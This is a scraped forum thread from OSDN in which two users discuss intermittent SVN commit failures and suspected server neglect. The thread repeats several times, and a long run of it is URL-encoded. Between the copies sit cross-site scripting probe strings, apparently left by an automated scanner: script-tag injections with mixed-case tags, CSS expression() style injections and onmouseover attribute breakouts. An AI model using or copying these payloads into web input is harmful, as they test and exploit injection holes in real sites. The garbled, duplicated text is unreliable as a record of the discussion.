8%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%67%6F%6E%65%2E%2E%2E%20%57%68%61%74%20%61%72%65%20%68%65%70%70%65%6E%69%6E%67%3F%0A%3E%20%0A%3E%20%68%74%74%70%73%3A%2F%2F%73%74%61%63%6B%6F%76%65%72%66%6C%6F%77%2E%63%6F%6D%2F%71%75%65%73%74%69%6F%6E%73%2F%39%30%31%32%35%33%38%2F%73%76%6E%2D%63%6F%6D%6D%69%74%2D%65%72%72%6F%72%2D%63%6F%75%6C%64%6E%74%2D%70%65%72%66%6F%72%6D%2D%61%74%6F%6D%69%63%2D%6F%70%65%72%61%74%69%6F%6E%0A%3E%20%0A%3E%20%4D%79%20%67%75%65%73%73%20%69%73%20%74%68%61%74%20%74%68%65%20%4F%53%44%4E%20%6F%77%6E%65%72%20%63%6F%6D%70%61%6E%79%20%69%73%20%73%6C%61%63%6B%69%6E%67%20%6F%6E%20%73%65%72%76%65%72%20%6D%61%69%6E%74%65%6E%61%6E%63%65%2E%20%52%65%61%64%20%74%68%65%20%70%6F%73%74%20%77%68%65%72%65%20%69%74%20%73%61%79%73%20%22%64%69%73%6B%20%73%70%61%63%65%22%2E%20%49%20%61%6D%20%6E%6F%74%20%65%6E%74%69%72%65%6C%79%20%73%75%72%65%21%20%49%20%6E%65%76%65%72%20%67%65%74%20%61%6E%79%20%45%2D%4D%61%69%6C%20%72%65%70%6C%69%65%73%20%66%72%6F%6D%20%74%68%65%6D%20%61%6E%64%20%6D%79%20%4A%61%70%61%6E%65%73%65%20%61%69%6E%27%74%20%67%6F%6F%64%20%65%6E%6F%75%67%68%20%74%6F%20%63%61%6C%6C%20%74%68%65%6D%2E%2E%2E%20%41%20%72%65%61%6C%20%73%68%61%6D%65%20%62%65%63%61%75%73%65%20%4F%53%44%4E%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%73%6F%20%77%65%6C%6C%20%77%68%65%6E%20%53%68%75%6A%69%20%53%61%64%6F%20%28%20%68%74%74%70%73%3A%2F%2F%6F%73%64%6E%2E%6E%65%74%2F%75%73%65%72%73%2F%73%61%64%6F%2F%20%29%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%74%68%69%6E%67%73%21%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%39%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%38%20%71%75%69%72%65%74%5D%0A%3E%20%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%37%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%3E%20%54%6F%64%61%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%72%65%74%75%72%6E%73%2E%2E%2E%20%73%6F%6D%65%20%6D%69%6E%75%74%65%73%20%61%66%74%65%72%20%6D%79%20%6C%61%73%74%20%74%72%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%67%6F%6E%65%2E%2E%2E%20%57%68%61%74%20%61%72%65%20%68%65%70%70%65%6E%69%6E%67%3F%0A%3E%20%3E%20%0A%3E%20%3E%20%68%74%74%70%73%3A%2F%2F%73%74%61%63%6B%6F%76%65%72%66%6C%6F%77%2E%63%6F%6D%2F%71%75%65%73%74%69%6F%6E%73%2F%39%30%31%32%35%33%38%2F%73%76%6E%2D%63%6F%6D%6D%69%74%2D%65%72%72%6F%72%2D%63%6F%75%6C%64%6E%74%2D%70%65%72%66%6F%72%6D%2D%61%74%6F%6D%69%63%2D%6F%70%65%72%61%74%69%6F%6E%0A%3E%20%3E%20%0A%3E%20%3E%20%4D%79%20%67%75%65%73%73%20%69%73%20%74%68%61%74%20%74%68%65%20%4F%53%44%4E%20%6F%77%6E%65%72%20%63%6F%6D%70%61%6E%79%20%69%73%20%73%6C%61%63%6B%69%6E%67%20%6F%6E%20%73%65%72%76%65%72%20%6D%61%69%6E%74%65%6E%61%6E%63%65%2E%20%52%65%61%64%20%74%68%65%20%70%6F%73%74%20%77%68%65%72%65%20%69%74%20%73%61%79%73%20%22%64%69%73%6B%20%73%70%61%63%65%22%2E%20%49%20%61%6D%20%6E%6F%74%20%65%6E%74%69%72%65%6C%79%20%73%75%72%65%21%20%49%20%6E%65%76%65%72%20%67%65%74%20%61%6E%79%20%45%2D%4D%61%69%6C%20%72%65%70%6C%69%65%73%20%66%72%6F%6D%20%74%68%65%6D%20%61%6E%64%20%6D%79%20%4A%61%70%61%6E%65%73%65%20%61%69%6E%27%74%20%67%6F%6F%64%20%65%6E%6F%75%67%68%20%74%6F%20%63%61%6C%6C%20%74%68%65%6D%2E%2E%2E%20%41%20%72%65%61%6C%20%73%68%61%6D%65%20%62%65%63%61%75%73%65%20%4F%53%44%4E%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%73%6F%20%77%65%6C%6C%20%77%68%65%6E%20%53%68%75%6A%69%20%53%61%64%6F%20%28%20%68%74%74%70%73%3A%2F%2F%6F%73%64%6E%2E%6E%65%74%2F%75%73%65%72%73%2F%73%61%64%6F%2F%20%29%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%74%68%69%6E%67%73%21%0A%3E%20%0A%3E%20%49%20%61%73%73%75%6D%65%20%74%68%69%73%20%69%73%73%75%65%20%69%73%20%6E%6F%74%20%61%66%66%65%63%74%69%6E%67%20%65%76%65%72%79%6F%6E%65%2E%20%49%20%68%61%76%65%20%6F%76%65%72%20%32%30%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%68%65%72%65%2E%20%44%6F%65%73%20%69%74%20%68%61%76%65%20%73%6F%6D%65%74%68%69%6E%67%20%74%6F%20%64%6F%20%77%69%74%68%20%69%74%3F%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%31%30%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%39%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%49%20%61%73%73%75%6D%65%20%74%68%69%73%20%69%73%73%75%65%20%69%73%20%6E%6F%74%20%61%66%66%65%63%74%69%6E%67%20%65%76%65%72%79%6F%6E%65%2E%20%49%20%68%61%76%65%20%6F%76%65%72%20%32%30%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%68%65%72%65%2E%20%44%6F%65%73%20%69%74%20%68%61%76%65%20%73%6F%6D%65%74%68%69%6E%67%20%74%6F%20%64%6F%20%77%69%74%68%20%69%74%3F%0A%3E%20%0A%3E%20%46%75%6E%6E%79%20%63%6F%69%6E%63%69%64%65%6E%63%65%20%49%20%77%6F%75%6C%64%20%73%61%79%21%20%49%74%20%63%6F%75%6C%64%20%6A%75%73%74%20%73%68%6F%77%20%68%6F%77%20%65%6E%74%68%75%73%69%61%73%74%20%77%65%20%61%72%65%20%61%62%6F%75%74%20%64%65%76%65%6C%6F%70%6D%65%6E%74%20%61%6E%64%20%53%75%62%56%65%72%73%69%6F%6E%20%28%53%56%4E%29%2E%20%41%6E%79%77%61%79%2C%20%49%20%64%69%64%20%63%6F%75%6E%74%2C%20%79%6F%75%20%63%75%72%72%65%6E%74%6C%79%20%68%61%76%65%20%32%33%20%61%6E%64%20%74%68%61%74%27%73%20%6F%6E%65%20%6D%6F%72%65%20%74%68%61%6E%20%49%20%68%61%76%65%2E%2E%2E%20%52%65%61%6C%6C%79%20%66%75%6E%6E%79%20%F0%9F%A4%A3%20%49%6D%61%67%69%6E%65%20%77%68%61%74%20%66%72%69%67%67%69%6E%20%77%6F%72%6B%20%61%20%6D%69%67%72%61%74%69%6F%6E%20%66%6F%72%20%6F%75%72%20%63%6F%64%65%62%61%73%65%73%20%77%6F%75%6C%64%20%69%6D%70%6C%79%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%32%36%20%28%E5%8C%BF%E5%90%8D%29%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%31%30%20%71%75%69%72%65%74%5D%0A%3E%20%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%39%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%3E%20%49%20%61%73%73%75%6D%65%20%74%68%69%73%20%69%73%73%75%65%20%69%73%20%6E%6F%74%20%61%66%66%65%63%74%69%6E%67%20%65%76%65%72%79%6F%6E%65%2E%20%49%20%68%61%76%65%20%6F%76%65%72%20%32%30%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%68%65%72%65%2E%20%44%6F%65%73%20%69%74%20%68%61%76%65%20%73%6F%6D%65%74%68%69%6E%67%20%74%6F%20%64%6F%20%77%69%74%68%20%69%74%3F%0A%3E%20%3E%20%0A%3E%20%3E%20%46%75%6E%6E%79%20%63%6F%69%6E%63%69%64%65%6E%63%65%20%49%20%77%6F%75%6C%64%20%73%61%79%21%20%49%74%20%63%6F%75%6C%64%20%6A%75%73%74%20%73%68%6F%77%20%68%6F%77%20%65%6E%74%68%75%73%69%61%73%74%20%77%65%20%61%72%65%20%61%62%6F%75%74%20%64%65%76%65%6C%6F%70%6D%65%6E%74%20%61%6E%64%20%53%75%62%56%65%72%73%69%6F%6E%20%28%53%56%4E%29%2E%20%41%6E%79%77%61%79%2C%20%49%20%64%69%64%20%63%6F%75%6E%74%2C%20%79%6F%75%20%63%75%72%72%65%6E%74%6C%79%20%68%61%76%65%20%32%33%20%61%6E%64%20%74%68%61%74%27%73%20%6F%6E%65%20%6D%6F%72%65%20%74%68%61%6E%20%49%20%68%61%76%65%2E%2E%2E%20%52%65%61%6C%6C%79%20%66%75%6E%6E%79%20%F0%9F%A4%A3%20%49%6D%61%67%69%6E%65%20%77%68%61%74%20%66%72%69%67%67%69%6E%20%77%6F%72%6B%20%61%20%6D%69%67%72%61%74%69%6F%6E%20%66%6F%72%20%6F%75%72%20%63%6F%64%65%62%61%73%65%73%20%77%6F%75%6C%64%20%69%6D%70%6C%79%2E%0A%3E%20%0A%3E%20%41%62%6F%75%74%20%53%56%4E%2C%20%77%65%6C%6C%2C%20%62%65%73%69%64%65%73%20%6E%6F%74%20%6C%69%6B%69%6E%67%20%74%6F%20%66%6F%6C%6C%6F%77%20%66%61%64%73%2C%20%49%20%62%65%6C%69%65%76%65%20%74%68%61%74%20%66%6F%72%20%77%68%61%74%20%49%20%64%6F%2C%20%53%56%4E%20%69%73%20%6D%75%63%68%20%62%65%74%74%65%72%20%74%68%61%6E%20%47%49%54%2E%20%53%69%6D%70%6C%65%20%74%6F%20%75%73%65%2C%20%61%6E%64%20%54%6F%72%74%6F%69%73%65%20%53%56%4E%2C%20%69%6E%20%6D%79%20%6F%70%69%6E%69%6F%6E%2C%20%69%73%20%6D%75%63%68%20%62%65%74%74%65%72%20%64%6F%6E%65%20%74%68%61%6E%20%54%6F%72%74%6F%69%73%65%20%47%49%54%20%28%77%68%69%63%68%20%73%65%65%6D%73%20%74%6F%20%68%61%76%65%20%62%65%65%6E%20%6D%61%64%65%20%69%6E%20%61%20%68%75%72%72%79%20%74%6F%20%61%62%73%6F%72%62%20%61%20%67%72%6F%77%69%6E%67%20%6D%61%72%6B%65%74%29%2E%0A%3E%20%0A%3E%20%41%62%6F%75%74%20%6F%75%72%20%70%72%6F%62%6C%65%6D%2C%20%61%6C%74%68%6F%75%67%68%20%69%74%27%73%20%61%20%66%75%6E%6E%79%20%63%6F%69%6E%63%69%64%65%6E%63%65%2C%20%6D%61%79%62%65%2C%20%69%6E%20%66%61%63%74%2C%20%77%65%20%61%72%65%20%74%61%6B%69%6E%67%20%75%70%20%74%6F%6F%20%6D%75%63%68%20%73%70%61%63%65%20%6F%6E%20%74%68%65%20%4F%53%44%4E%2C%20%49%20%64%6F%6E%27%74%20%6B%6E%6F%77%2E%2E%2E%20%49%66%20%6F%6E%6C%79%20%73%6F%6D%65%6F%6E%65%20%63%61%6D%65%20%68%65%72%65%20%74%6F%20%73%61%79%20%69%66%20%74%68%69%73%20%69%73%20%69%74%2C%20%49%20%77%6F%75%6C%64%20%74%72%61%6E%73%66%65%72%20%73%6F%6D%65%20%6F%66%20%6D%79%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%62%61%63%6B%20%74%6F%20%53%6F%75%72%63%65%46%6F%72%67%65%2C%20%62%79%20%74%68%65%20%77%61%79%2C%20%49%27%6D%20%6F%6E%6C%79%20%68%65%72%65%20%74%6F%64%61%79%20%6F%6E%20%4F%53%44%4E%2C%20%62%65%63%61%75%73%65%20%53%6F%75%72%63%65%46%6F%72%67%65%20%77%61%73%20%68%61%76%69%6E%67%20%61%20%6C%6F%74%20%6F%66%20%70%72%6F%62%6C%65%6D%73%20%61%20%66%65%77%20%79%65%61%72%73%20%61%67%6F%2E%20%49%20%64%69%64%6E%27%74%20%77%61%6E%74%20%74%6F%20%6D%69%67%72%61%74%65%20%65%76%65%72%79%74%68%69%6E%67%20%62%61%63%6B%20%74%68%65%72%65%20%3A%2F%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%68%68%36%42%28%39%30%36%37%34%29%22
%35%35%35%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%38%42%64%39%28%39%37%36%30%34%29%22
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"sTYLe='zzz:Expre/**/SSion(hh6B(9852))'bad="
1"sTYLe='zzz:Expre/**/SSion(2a1u(9852))'bad="
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"><script>hh6B(9693)</script>
1"><script>2a1u(9017)</script>
555"sTYLe='zzz:Expre/**/SSion(8Bd9(9642))'bad="
1<ScRiPt >2a1u(9311)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<ScRiPt >hh6B(9157)</ScRiPt>
555"><script>8Bd9(9889)</script>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<WYYBNC>HHFFP[!+!]</WYYBNC>
1<WPZZUD>WMENB[!+!]</WPZZUD>
555<ScRiPt >8Bd9(9849)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
